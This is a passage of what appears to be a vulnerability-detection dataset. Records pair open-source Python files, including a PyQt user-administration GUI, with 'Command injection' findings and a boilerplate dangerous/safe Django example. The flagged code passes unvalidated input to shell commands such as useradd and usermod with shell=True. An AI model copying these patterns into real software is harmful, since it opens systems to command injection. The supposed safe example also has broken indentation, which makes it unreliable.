\"nvidia_waveglowpyt_fp32_20190306.pth\")\nsubprocess.run(\"torch-model-archiver --model-name waveglow_synthesizer --version 1.0 \"\n \"--model-file waveglow_model.py --serialized-file nvidia_waveglowpyt_fp32_20190306.pth \"\n \"--handler waveglow_handler.py \"\n \"--extra-files tacotron.zip,nvidia_tacotron2pyt_fp32_20190306.pth\",\n check=True,\n shell=True)\nrm_file(\"nvidia*\", regex=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "ae33676739c14a3db4159bb6487fb9c9f7fbab59c14fdb364f887b83bcbf1978", "license": {"spdx": ["MIT"], "repo": "microsoft/DirectML-Samples", "path": "TensorFlow/TF2/yolov3-tf2/train_voc.py", "repo_head_hexsha": "428a5b523df5e69a81ad68763f42b03cc8e122f0", "stack_hexsha": "fbe08b28a82e852365f363b7e70ada41e5bcedef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 21, "entireCode": "import subprocess\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--batch_size\", default=4)\nparser.add_argument(\"--epochs\", default=10)\nargs = parser.parse_args()\n\ncl = \" \".join([\n \"python train.py\",\n \"--dataset\", os.path.join(\"data\", \"voc2012_train.tfrecord\"),\n \"--val_dataset\", os.path.join(\"data\", \"voc2012_val.tfrecord\"),\n \"--classes\", os.path.join(\"data\", \"voc2012.names\"),\n \"--num_classes 20\",\n \"--mode eager_tf\",\n \"--transfer none\",\n f\"--batch_size {args.batch_size}\",\n f\"--epochs {args.epochs}\"\n])\nsubprocess.run(cl, shell=True, check=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 21, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "bcbba04ab494f66d58a6932ed4bc45ac8d556d7e47298460c34b6642f30fd139", "license": {"spdx": ["MIT"], "repo": "flyflyinit/GUI-admin-tool", "path": "project/users/configureusers.py", "repo_head_hexsha": "1fa97393ee2a39a65f5b7bbe95eb5b5f04bc6ad6", "stack_hexsha": "b2754a6362de0cc593e27920049e1fe8d3603a36", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 129, "entireCode": "from PyQt5.QtCore import Qt\n\ntry:\n from PyQt5.QtWidgets import QWidget, QVBoxLayout, QProgressBar, QPushButton, QSpinBox, QLabel, QLineEdit, \\\n QFormLayout, \\\n QHBoxLayout, QListWidget, QMessageBox, QCheckBox\nexcept ImportError as e:\n print(\n f'package PyQt5 Not Found\\n{e}\\ntry :\\npip3 install --user pyqt5\\nOR\\ndnf install python3-pyqt5, yum install python3-pyqt5\\n')\n\ntry:\n import subprocess\n import concurrent.futures\n from datetime import datetime\nexcept ImportError as e:\n print(f'package not found\\n{e}\\n')\n\n\nclass CreateUsersWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.setGeometry(200, 50, 300, 400)\n self.setWindowTitle(\"Add Users\")\n self.layouts()\n self.widgets()\n\n def layouts(self):\n self.mainLayout = QVBoxLayout()\n self.topLayout = QVBoxLayout()\n self.topLayout.setContentsMargins(20, 20, 20, 20)\n self.bottomLayout = QHBoxLayout()\n\n self.progeesBar = QProgressBar()\n self.progeesBar.setHidden(True)\n self.okBtn = QPushButton(\"Ok\")\n self.okBtn.clicked.connect(self.cancelAction)\n self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px solid #27ae60\")\n self.okBtn.setHidden(True)\n self.submitBtn = QPushButton(\"Submit\")\n self.submitBtn.clicked.connect(self.submitAction)\n self.cancelBtn = QPushButton(\"Cancel\")\n self.cancelBtn.clicked.connect(self.cancelAction)\n self.submitBtn.setHidden(False)\n self.cancelBtn.setHidden(False)\n self.okBtn.setFixedHeight(30)\n self.submitBtn.setFixedHeight(30)\n self.cancelBtn.setFixedHeight(30)\n self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px solid #27ae60\")\n self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px solid #e74c3c\")\n\n self.bottomLayout.addWidget(self.okBtn)\n self.bottomLayout.addWidget(self.submitBtn)\n self.bottomLayout.addWidget(self.cancelBtn)\n self.mainLayout.addLayout(self.topLayout)\n self.mainLayout.addStretch()\n self.mainLayout.addWidget(self.progeesBar)\n self.mainLayout.addLayout(self.bottomLayout)\n self.setLayout(self.mainLayout)\n\n def widgets(self):\n self.usersNbr = QSpinBox(self)\n self.usersNbr.setMinimum(1)\n self.usersNbr.setMaximum(1000)\n self.usersNbr.setSuffix(\" user\")\n self.createHomeDir = QCheckBox('Create Home Directory')\n\n self.form = QFormLayout()\n self.editLineUsername = QLineEdit('')\n self.editLineUsername.setPlaceholderText('enter username')\n self.form.addRow(QLabel('Username :'), self.editLineUsername)\n self.editLineUserShell = QLineEdit('')\n self.editLineUserShell.setPlaceholderText('enter shell')\n self.form.addRow(QLabel('User Shell :'), self.editLineUserShell)\n self.editLineUserComment = QLineEdit('')\n self.editLineUserComment.setPlaceholderText('enter comment')\n self.form.addRow(QLabel('Comment :'), self.editLineUserComment)\n self.note = QLabel('')\n\n self.topLayout.addWidget(self.usersNbr)\n self.topLayout.addWidget(self.editLineUsername)\n self.topLayout.addWidget(self.editLineUserShell)\n self.topLayout.addWidget(self.editLineUserComment)\n self.topLayout.addWidget(self.createHomeDir)\n self.topLayout.addWidget(self.note)\n\n def submitAction(self):\n self.setCursor(Qt.WaitCursor)\n self.progeesBar.setHidden(False)\n self.progeesBar.setMaximum(self.usersNbr.value())\n self.progeesBar.setValue(0)\n usersList = self.generateList()\n txt = ''\n nbr = 0\n with concurrent.futures.ThreadPoolExecutor() as executor:\n results = executor.map(self.createuserThreading, usersList)\n for result in results:\n nbr += 1\n self.progeesBar.setValue(nbr)\n txt = txt + result + \"\\n\"\n self.note.setText(txt)\n self.setCursor(Qt.ArrowCursor)\n self.okBtn.setHidden(False)\n self.submitBtn.setHidden(True)\n self.cancelBtn.setHidden(True)\n\n def generateList(self):\n usersList = []\n homeDir = 'False'\n if self.createHomeDir.isChecked():\n homeDir = 'True'\n\n if int(self.usersNbr.value()) == 1:\n usersList.append(\n [self.editLineUsername.text(), self.editLineUserComment.text(), self.editLineUserShell.text(), homeDir])\n else:\n for user in range(self.usersNbr.value()):\n usersList.append(\n [self.editLineUsername.text() + str(user + 1), self.editLineUserComment.text() + str(user + 1),\n self.editLineUserShell.text(), homeDir])\n return usersList\n\n def createuserThreading(self, user):\n if user[3] == 'True':\n homedir = '-m'\n else:\n homedir = ''\n try:\n c = f'useradd {homedir} -s {user[2]} -c \"{user[1]}\" {user[0]}'\n subprocess.run(c, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, shell=True, check=True)\n except subprocess.CalledProcessError:\n return f\"error occured during creating {user[0]} \"\n else:\n return f\"{user[0]} has been created succesfully!\"\n\n def cancelAction(self):\n self.close()\n\n\nclass EditUsersWindow(QWidget):\n def __init__(self, userDetails):\n super().__init__()\n self.setGeometry(200, 50, 500, 500)\n self.setWindowTitle(\"Edit User\")\n self.userDetails = userDetails\n self.layouts()\n self.widgets()\n\n def layouts(self):\n self.mainLayout = QVBoxLayout()\n self.topLayout = QVBoxLayout()\n self.middleLayout = QHBoxLayout()\n self.topLayout.setContentsMargins(20, 20, 20, 20)\n self.bottomLayout = QHBoxLayout()\n\n self.text = QLabel('')\n self.progeesBar = QProgressBar()\n self.progeesBar.setHidden(True)\n self.submitBtn = QPushButton(\"Submit\")\n self.submitBtn.clicked.connect(self.submitAction)\n self.cancelBtn = QPushButton(\"Cancel\")\n self.cancelBtn.clicked.connect(self.cancelAction)\n self.okBtn = QPushButton(\"Ok\")\n self.okBtn.clicked.connect(self.okAction)\n self.okBtn.setHidden(True)\n self.submitBtn.setFixedHeight(30)\n self.cancelBtn.setFixedHeight(30)\n self.okBtn.setFixedHeight(30)\n self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px\")\n\n self.bottomLayout.addWidget(self.submitBtn)\n self.bottomLayout.addWidget(self.cancelBtn)\n self.bottomLayout.addWidget(self.okBtn)\n self.mainLayout.addLayout(self.topLayout)\n self.mainLayout.addStretch()\n self.mainLayout.addLayout(self.bottomLayout)\n self.setLayout(self.mainLayout)\n\n def widgets(self):\n self.form = QFormLayout()\n\n print(self.userDetails)\n self.username = QLineEdit(self.userDetails[0])\n self.form.addRow(QLabel('Username :'), self.username)\n self.id = QLineEdit(self.userDetails[1])\n self.form.addRow(QLabel('User ID :'), self.id)\n\n self.primaryGroup = self.userDetails[2].split('(')[1].split(')')[0]\n self.priGroup = QLineEdit(self.primaryGroup)\n self.form.addRow(QLabel('Primary Group :'), self.priGroup)\n\n self.comment = QLineEdit(self.userDetails[4])\n self.form.addRow(QLabel('Comment :'), self.comment)\n self.homeDir = QLineEdit(self.userDetails[5])\n self.form.addRow(QLabel('Home Directory :'), self.homeDir)\n self.shell = QLineEdit(self.userDetails[6])\n self.form.addRow(QLabel('Shell :'), self.shell)\n\n if self.userDetails[7] == 'never':\n self.expirationDate = QLineEdit()\n else:\n import dateutil.parser as parser\n self.expirationDate_adapted = datetime.strptime(self.userDetails[7], '%b %d, %Y').strftime('%Y-%m-%d')\n date = parser.parse(self.expirationDate_adapted)\n self.expirationDate = QLineEdit(date.isoformat().split('T')[0])\n self.form.addRow(QLabel('Expiration Date :'), self.expirationDate)\n\n self.groupsBtns = QVBoxLayout()\n self.lineEditAddGroup = QLineEdit()\n self.lineEditAddGroup.setPlaceholderText('enter group name')\n self.addGroupBtn = QPushButton('Add')\n self.addGroupBtn.clicked.connect(self.addGroup)\n self.deleteGroupBtn = QPushButton('Delete')\n self.deleteGroupBtn.clicked.connect(self.deleteGroup)\n self.deleteAllGroupsBtn = QPushButton('Delete All')\n self.deleteAllGroupsBtn.clicked.connect(self.deleteAllGroups)\n self.groupsBtns.addWidget(self.lineEditAddGroup)\n self.groupsBtns.addWidget(self.addGroupBtn)\n self.groupsBtns.addWidget(self.deleteGroupBtn)\n self.groupsBtns.addWidget(self.deleteAllGroupsBtn)\n self.groupsBtns.addStretch()\n self.listGroups = QListWidget()\n\n self.form.addRow(QLabel('Groups :'), self.middleLayout)\n\n groups = self.userDetails[3].split(',')\n for group in groups:\n grp = group.split('(')[1].split(')')[0]\n if grp == self.primaryGroup:\n continue\n else:\n self.listGroups.addItem(grp)\n\n self.middleLayout.addWidget(self.listGroups)\n self.middleLayout.addLayout(self.groupsBtns)\n self.topLayout.addLayout(self.form)\n self.topLayout.addWidget(self.text)\n self.topLayout.addWidget(self.progeesBar)\n\n def addGroup(self):\n group = self.lineEditAddGroup.text()\n if group == \"\":\n pass\n else:\n self.listGroups.addItem(group)\n\n def deleteGroup(self):\n listGroups = self.listGroups.selectedItems()\n if not listGroups: return\n for group in listGroups:\n self.listGroups.takeItem(self.listGroups.row(group))\n\n def deleteAllGroups(self):\n self.listGroups.clear()\n\n def submitAction(self):\n try:\n self.setCursor(Qt.WaitCursor)\n self.progeesBar.setHidden(False)\n self.progeesBar.setMaximum(1)\n self.progeesBar.setValue(0)\n self.edituser()\n except subprocess.CalledProcessError:\n QMessageBox.warning(self, 'warning', f\"error occured during editing this user\\n\")\n else:\n self.setCursor(Qt.ArrowCursor)\n self.submitBtn.setHidden(True)\n self.cancelBtn.setHidden(True)\n self.okBtn.setHidden(False)\n\n def okAction(self):\n self.close()\n\n def edituser(self):\n usernamee = self.username.text()\n idd = self.id.text()\n priGroupp = self.priGroup.text()\n commentt = self.comment.text()\n homeDirr = self.homeDir.text()\n shelll = self.shell.text()\n expirationDatee = self.expirationDate.text()\n txt = ''\n\n groupsitems = []\n for index in range(self.listGroups.count()):\n groupsitems.append(str(self.listGroups.item(index).text()))\n groupsitemsstring = \",\".join(groupsitems)\n print(groupsitemsstring)\n if expirationDatee == \"never\":\n QMessageBox.warning(self, 'expiration field error', \"expiration field can't be 'never' \")\n return 0\n elif expirationDatee == '':\n pass\n else:\n try:\n subprocess.run(f'usermod -e {expirationDatee} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing expiration date for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"expiration date edited succesfully\\n\"\n self.text.setText(txt)\n try:\n subprocess.run(f'usermod -g {priGroupp} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing primary group for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"primary group edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f'usermod -G {groupsitemsstring} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing supplementary groups for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"supplementary groups edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f'usermod -s {shelll} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing shell for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"shell edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f'usermod -d {homeDirr} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing home directory for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"home directory edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f\"usermod -c '{commentt}' {self.userDetails[0]}\", stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing comment for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"comment edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f\"usermod -u {idd} {self.userDetails[0]}\", stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing user id for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"user id edited succesfully\\n\"\n self.text.setText(txt)\n\n try:\n subprocess.run(f'usermod -l {usernamee} {self.userDetails[0]}', stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL, check=True, shell=True)\n except subprocess.CalledProcessError:\n txt = txt + \"error occured during editing username for this user\\n\"\n self.text.setText(txt)\n else:\n txt = txt + \"username edited succesfully\\n\"\n self.text.setText(txt)\n\n self.progeesBar.setValue(1)\n\n def cancelAction(self):\n self.close()\n\n\nclass DeleteUsersWindow(QWidget):\n def __init__(self, d):\n super().__init__()\n self.setGeometry(200, 50, 300, 300)\n self.setWindowTitle(\"Delete Users\")\n self.listUsersToDelete = d\n self.layouts()\n self.widgets()\n\n def layouts(self):\n self.mainLayout = QVBoxLayout()\n self.topLayout = QVBoxLayout()\n self.topLayout.setContentsMargins(20, 20, 20, 20)\n self.bottomLayout = QHBoxLayout()\n\n self.progeesBar = QProgressBar()\n self.progeesBar.setHidden(True)\n self.submitBtn = QPushButton(\"Submit\")\n self.submitBtn.clicked.connect(self.submitAction)\n self.cancelBtn = QPushButton(\"Cancel\")\n self.cancelBtn.clicked.connect(self.cancelAction)\n self.okBtn = QPushButton(\"Ok\")\n self.okBtn.clicked.connect(self.okAction)\n self.okBtn.setHidden(True)\n self.submitBtn.setFixedHeight(30)\n self.cancelBtn.setFixedHeight(30)\n self.okBtn.setFixedHeight(30)\n self.submitBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n self.cancelBtn.setStyleSheet(\"color: #ecf0f1; background-color: #e74c3c; border: 0px\")\n\n self.bottomLayout.addWidget(self.submitBtn)\n self.bottomLayout.addWidget(self.cancelBtn)\n self.bottomLayout.addWidget(self.okBtn)\n self.mainLayout.addLayout(self.topLayout)\n self.mainLayout.addStretch()\n self.mainLayout.addLayout(self.bottomLayout)\n self.setLayout(self.mainLayout)\n\n def widgets(self):\n self.a = ', '.join(self.listUsersToDelete)\n self.text = QLabel(f'Are You Sure You want To Delete The Following Users :\\n\\n{self.a}')\n self.text2 = QLabel()\n self.topLayout.addWidget(self.text)\n self.topLayout.addWidget(self.text2)\n self.topLayout.addWidget(self.progeesBar)\n\n def submitAction(self):\n try:\n self.setCursor(Qt.WaitCursor)\n self.progeesBar.setHidden(False)\n self.progeesBar.setMaximum(len(self.listUsersToDelete))\n self.progeesBar.setValue(0)\n self.deleteuser()\n except subprocess.CalledProcessError:\n QMessageBox.warning(self, 'warning', f\"error occured during setting this hostname\\n\")\n else:\n self.setCursor(Qt.ArrowCursor)\n self.submitBtn.setHidden(True)\n self.cancelBtn.setHidden(True)\n self.okBtn.setHidden(False)\n\n def okAction(self):\n self.close()\n\n def deleteuserThreading(self, username):\n try:\n subprocess.run(f'userdel -r {username}', stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, check=True,\n shell=True)\n except subprocess.CalledProcessError:\n return f\"error occured during deleting {username}\"\n else:\n return f\"{username} deleted succesfully!\"\n\n def deleteuser(self):\n with concurrent.futures.ThreadPoolExecutor() as executor:\n results = executor.map(self.deleteuserThreading, self.listUsersToDelete)\n i = 0\n r = ''\n for result in results:\n i = i + 1\n r = r + \"\\n\" + result\n self.progeesBar.setValue(i)\n self.text2.setText(r)\n\n def cancelAction(self):\n self.close()\n\n\nclass MoreUsersWindow(QWidget):\n def __init__(self, text, username):\n super().__init__()\n self.setGeometry(200, 50, 300, 300)\n self.setWindowTitle(username)\n self.text = text\n self.layouts()\n\n def layouts(self):\n self.mainLayout = QVBoxLayout()\n self.topLayout = QVBoxLayout()\n self.topLayout.setContentsMargins(20, 20, 20, 20)\n self.bottomLayout = QHBoxLayout()\n\n self.label = QLabel(self.text)\n self.okBtn = QPushButton(\"Ok\")\n self.okBtn.clicked.connect(self.okAction)\n self.okBtn.setFixedHeight(30)\n self.okBtn.setStyleSheet(\"color: #ecf0f1; background-color: #27ae60 ; border: 0px\")\n\n self.topLayout.addWidget(self.label)\n self.bottomLayout.addWidget(self.okBtn)\n self.mainLayout.addLayout(self.topLayout)\n self.mainLayout.addStretch()\n self.mainLayout.addLayout(self.bottomLayout)\n self.setLayout(self.mainLayout)\n\n def okAction(self):\n self.close()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 129, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "55974b691247678f340052c5f65e32ecb6940384aea1e2390d6a3b378e02959b", "license": {"spdx": ["MIT"], "repo": "adehecq/make_workflow", "path": "make_workflow.py", "repo_head_hexsha": "6847110b96f2fb680f64fa7f46304a88cbb0e3da", "stack_hexsha": "d7ae5c190e8d9295a07589a284c41ef2ee7c3d89", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 276, "entireCode": "#!/bin/env python\n#\n# Utilities to generate an automated workflow with GNU make\n# makefile_init is used to initialize the make, then makefile_append\n# or makefile_secondary to add commands and makefile_run to run the workflow.\n# \n# 03/2019\n\nimport os\nimport sys\nfrom tempfile import NamedTemporaryFile\nimport traceback\nimport subprocess\nfrom packaging import version\n\n\ndef get_make_version():\n \"\"\"\n Get make version number.\n Output of make -v is expected to be something like:\n\n GNU Make X.X.X\n Built for....\n Copyright...\n ....\n\n where X.X.X is the version number.\n \"\"\"\n # Run make -v and save output\n process = subprocess.Popen(['make', '-v'], stdout=subprocess.PIPE)\n stdout = process.communicate()[0]\n\n # Convert default Byte type to string\n stdout = stdout.decode('utf-8')\n\n # Get first line containing version number\n fline = stdout.split('\\n')[0]\n\n # Get last item containing version number\n vnum = fline.split(' ')[-1]\n\n # Convert to a version object for comparison\n make_version = version.parse(vnum)\n\n return make_version\n\n\nclass Workflow():\n\n def __init__(self, filename=None, title=None, overwrite=False):\n \"\"\"\n Used to initialize the makefile.\n Will generate a main function for the makefile.\n Optionally, will display a title string at beginning of execution.\n filename: str, path to the makefile (Default is None, i.e. generate a temporary file)\n title: string to display at the beginning of the execution\n overwrite: if set to True, will overwrite an existing makefile.\n \"\"\"\n\n # Create and open temporary file\n if filename is None:\n tmpf = NamedTemporaryFile(mode='w+')\n filename = tmpf.name\n f = tmpf.file\n self.tmpf = tmpf # Keep otherwise file will be deleted\n self.filename = tmpf.name\n\n # Open chosen file\n else:\n # Just open the file in append mode.\n # Won't work for temporary files though as self.tmpf is deleted.\n if os.path.exists(filename) & (not overwrite):\n f = open(filename, 'a+') # append and writing\n f.seek(0)\n self.filename = filename\n self.f = f\n return\n else:\n f = open(filename, 'w+') # writing and reading\n self.filename = filename\n\n # Write header\n f.write(\".PHONY: MAIN\\n\\n\")\n\n # Write colors for commands highlighting\n f.write(\"CMDCOL := \u001b[32m\\n\")\n f.write(\"DEFCOL := \u001b[0m\\n\\n\")\n\n # Write MAIN line, without title\n if title is None:\n f.write(\"MAIN: \\n\\n\")\n\n # with title\n else:\n f.write(\"MAIN: pre-build \\n\\n\")\n f.write(\"pre-build:\\n\\t@+printf '%s\\\\n'\\n\\n\" % title)\n\n # Add a function to list missing outputs, call with 'make list'\n f.write(\"list:\\n\")\n f.write(\"\\t@printf '** Missing outputs **\\\\n'\\n\")\n f.write(\"\\t@$(MAKE) -n --debug -f $(lastword $(MAKEFILE_LIST)) | \\\n sed -n -e 's/^.*Must remake target //p' | \\\n sed -e '/MAIN/d' | sed -e '/pre-build/d'\\n\\n\")\n\n # save\n f.flush()\n self.f = f\n\n # Check if make version is newer than 4.3\n make_version = get_make_version()\n if make_version > version.parse('4.3'):\n self.new_version = True\n else:\n self.new_version = False\n\n def append(self, cmds, inputs, outputs,\n title=None, secondary=False, soft_inputs=[], verbose=True):\n \"\"\"\n Add a new list of commands to the Makefile with given outputs and inputs and display a title string at beginning of excution.\n Commands can be a single command or a list of commands.\n If secondary set to True, will consider all outputs of that command as secondary and the command won't be re-run if the files are deleted.\n soft_inputs are inputs that are necessary to run the command, but whose update will not force re-running the commands.\n If verbose set to False, will print stdout to /dev/null.\n \"\"\"\n\n # Make sure outputs are lists\n outputs = check_args_output(outputs)\n\n # Convert potential lists into string with space separator\n inputs = check_args_inout(inputs)\n soft_inputs = check_args_inout(soft_inputs)\n\n # Write target:deps line\n # For make > 4.3, grouped targets can be set explicitly with &:\n if self.new_version:\n if len(soft_inputs) > 0:\n self.f.write(\"\\n%s &: %s | %s\\n\" % (' '.join(outputs), inputs, soft_inputs))\n else:\n self.f.write(\"\\n%s &: %s\\n\" % (' '.join(outputs), inputs))\n\n # For make < 4.3, must have only one output\n # Additional outputs are added later\n else:\n if len(soft_inputs) > 0:\n self.f.write(\"\\n%s : %s | %s\\n\" % (outputs[0], inputs, soft_inputs))\n else:\n self.f.write(\"\\n%s : %s\\n\" % (outputs[0], inputs))\n\n # Add command for title\n if title is not None:\n self.f.write(\"\\t@+printf '%s\\\\n'\\n\" % escape_char(title))\n\n # Add all commands\n cmds = check_args_cmd(cmds)\n\n for cmd in cmds:\n # Escape special characters\n #cmd = escape_char(cmd)\n\n # Add stdout option\n if not verbose:\n cmd += ' 1> /dev/null'\n\n # print command with + symbol and green color\n self.f.write(\"\\t-@echo '${CMDCOL}+%s${DEFCOL}'\\n\" % cmd)\n\n # command to be run\n self.f.write(\"\\t@%s\\n\" % cmd)\n\n # For make < 4.3 and multiple outputs, must create rule for each output\n if not self.new_version:\n if len(outputs)>1:\n\n # Command for additional output\n # If output exists, update with touch\n # Otherwise and if first output exists, delete and re-run rule\n cmd_add_output = \"if test -f $@; then touch -h $@; else if [ -f $^ ]; then rm -f $^ && ${MAKE} $^; fi; fi\"\n\n for k in range(1,len(outputs)):\n self.f.write(\"\\n%s : %s\\n\" % (outputs[k], outputs[k-1]))\n self.f.write(\"\\t@%s\\n\" % cmd_add_output)\n\n ## Need to update the MAIN function to add new outputs ##\n # Only if outputs are not secondary (intermediate) files\n if not secondary:\n # Read the text and replace MAIN\n filetext = ''\n self.f.seek(0)\n for line in self.f:\n if line[:4] == 'MAIN':\n line = ' '.join([line.rstrip(), *outputs, '\\n'])\n filetext += line\n else:\n filetext += line\n\n # Write to file\n f = open(self.filename, 'w')\n f.write(filetext)\n f.flush()\n self.f = open(self.filename, 'a+')\n\n # if files are secondary, need to specify\n else:\n self.f.write(\"\\n.SECONDARY : %s\\n\" % (' '.join(outputs)))\n self.f.flush()\n\n def clean(self, cmds):\n \"\"\"\n Add a clean target to the Makefile to perform any additional cleaning\n commands as part of the workflow.\n Commands can be a single command or a list of commands.\n \"\"\"\n\n # Write clean line\n self.f.write(\"\\nclean : \\n\")\n\n # Add all commands\n cmds = check_args_cmd(cmds)\n\n for cmd in cmds:\n # print command with + symbol and green color\n self.f.write(\"\\t-@echo '${CMDCOL}+%s${DEFCOL}'\\n\" % cmd)\n\n # command to be 